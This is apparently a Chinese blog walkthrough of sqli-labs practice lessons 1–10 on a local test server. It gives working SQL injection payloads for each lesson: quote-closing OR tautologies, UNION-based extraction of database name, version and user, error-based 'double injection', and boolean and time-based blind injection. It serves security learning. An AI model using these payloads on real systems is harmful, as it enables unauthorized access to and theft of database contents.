sqli-lab详解——做题笔记1-10(入门级注解)

(题目标题是自己翻译的,水平和理解有限,可能翻译的不够准确到位,可能也不是专业术语,仅供参考,见谅!)
less-1 基于报错-单引号字符串
源码:SELECT * FROM users WHERE id=’$id’ LIMIT 0,1
答案及解析:
http://127.0.0.1/sqli-labs-master/Less-1/?id=
’ or ‘1’='1
’ or 1=1 --+ (–后要加空格才能注释,但是在网址栏输入时最后加空格解析时会被去掉,所以用+,当然用%20也行)
’ or 1=1 # (火狐下在url栏用#注释会报错,改成url编码%23即可)
只要闭合单引号,构造出正确的查询语句即可。但这步只是判断出了SQL注入漏洞的类型,后面还需要进行一系列操作才能获得我们需要的信息,通常是使用联合查询+注释即可获取数据库内容。
进一步操作:
1.首先需要判断数据库字段数,以便后面使用联合查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4--+

其中4是指数据库列数,我们需要不断的换、猜获得,当数字大于数据库列,会得到报错,小于等于则正常返回。题目中数据库有3列,猜到4时报错,改为3则正确

2.然后使用union查询判断输出位置和内容

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+ 

这里的-1可以换成小数或者字母,因为id通常是自然数,所以只要输入不是id的数,where不成立,那么就只会显示后面union查询的内容(且题目这里只显示一行内容)
得到的结果为
Welcome Dhakkan
Your Login name:2
Your Password:3
由此可以判断select的第一个字段不显示,第2、3个字段分别显示在第2、3行冒号后面,也就是说这两行是我们获取信息的输出点。

3.接下来就可以获取数据库一些基本信息了
操作就是把上面语句中的2,3分别换成需要的查询内容的语句
获取数据库版本及当前数据库的名称:

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database() --+ 

获取数据库当前用户,数据库名称,版本信息

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,concat_ws(0x7e,user(),database(),version()) --+

等等,就跟使用SQL查询一样,实战中这里就需要熟悉SQL语言及各版本数据库的特性,把需要的信息一点点都爆出来,暂不赘述,后面再专门讲爆信息。
TIPS:注意利用limit,concat等函数在限制输出的环境下充分挖掘。

题目做到答案那步就算结束了,上文后面讲的进一步挖掘信息都是一样的,后面的题目也就主要讲答案,重复的部分不再赘述。

less-2 基于报错-整型
源码:SELECT * FROM users WHERE id=$id LIMIT 0,1
答案及解析:
http://127.0.0.1/sqli-labs-master/Less-2/?id=
1 or 1=1
-1 union select …

less-3 基于报错-单引号字符串变式
源码:SELECT * FROM users WHERE id=(’$id’) LIMIT 0,1
http://127.0.0.1/sqli-labs-master/Less-3/?id=
1’) or 1=1 --+
-1’) union select … --+

less-4 基于报错-双引号字符串
源码:
id = ‘"’ . id . ‘"’;(去掉了变量符号免得格式错误)
sql=“SELECT * FROM users WHERE id=($id) LIMIT 0,1”;
http://127.0.0.1/sqli-labs-master/Less-4/?id=
1") or 1=1 --+
-1") union select … --+

小节:以上几题可以说是一个大类型的,根据注入点的类型构造SQL语句

less-5 双注入-单引号字符串
输入id,只返回 You are in,不反回数据库内容,考虑使用二次注入
双注入:在mysql中,当我们输入以下查询
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a
数据库就会产生报错,并把加粗字那部分内容显示出来,后面会跟上1或者0,而斜体部分可以换成数据库中任何一个表(要有多行),报错也需要多执行几次才会出现,因为产生重复的键值是概率事件。至于这个报错的原理可以参考网络上其他文章,笔者认为不必太深究,大致知道就好。下面附一条参考链接:
双注入原理参考
双注入如何产生的知道后,只需要加入union查询即可:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' union select 1,count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a --+

less-6 双注入-双引号字符串
原理同上一题,只是换成双引号闭合

   http://127.0.0.1/sqli-labs-master/Less-6/?id=1" union select 1,count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a --+

**less-7 **
等待更新

less-8 盲注-布尔型-单引号
这道题也不会直接返回数据库信息,但是当where后面的语句为真,会显示you are in,否则什么都不会显示,我们只能判断出输入的内容是真是假。这时我们的思路就是一个一个地猜字母,比如要查数据库名称,就从第一个字母猜起,试对了换第二个,一直到全部试出来。我们有一个例子来讲:

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select database()),1,1))>64 --+

意思是判断当前数据库第一个字母的ASCII码的值是否大于64,如果大于则返回真,窗口显示you are in,否则不显示,一直试到114时仍为真,到115时为假,说明ASCII码为115,对应为小写字母s,同理得到其他字母。
这里需要了解的是相应的函数及其用法,ASCII码的值等等,判断语句还有其他构造方法,原理一样。当然这样手动试的效率比较低,这时可以使用工具或者自己写工具,后面再讲。
注意:select database() 外面一定要用括号括起来(select database())

less-9 盲注-基于时间-单引号
这道题无论注入的语句真假,都是返回you are in,那么此时基于时间的盲注思路就是:当输入为真,立刻返回值,当输入为假,过几秒返回,根据这个我们来判断内容。

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),1,1))<115,0,sleep(5)) --+

sleep的时间根据需要设定。

less-10 盲注-基于时间-双引号
单引号换成双引号,其他一样。

笔者在火狐浏览器下测试,url编码转义等细节上可能环境不同略有出入
文章原创,转载请联系作者!

你可能感兴趣的:(SQL注入)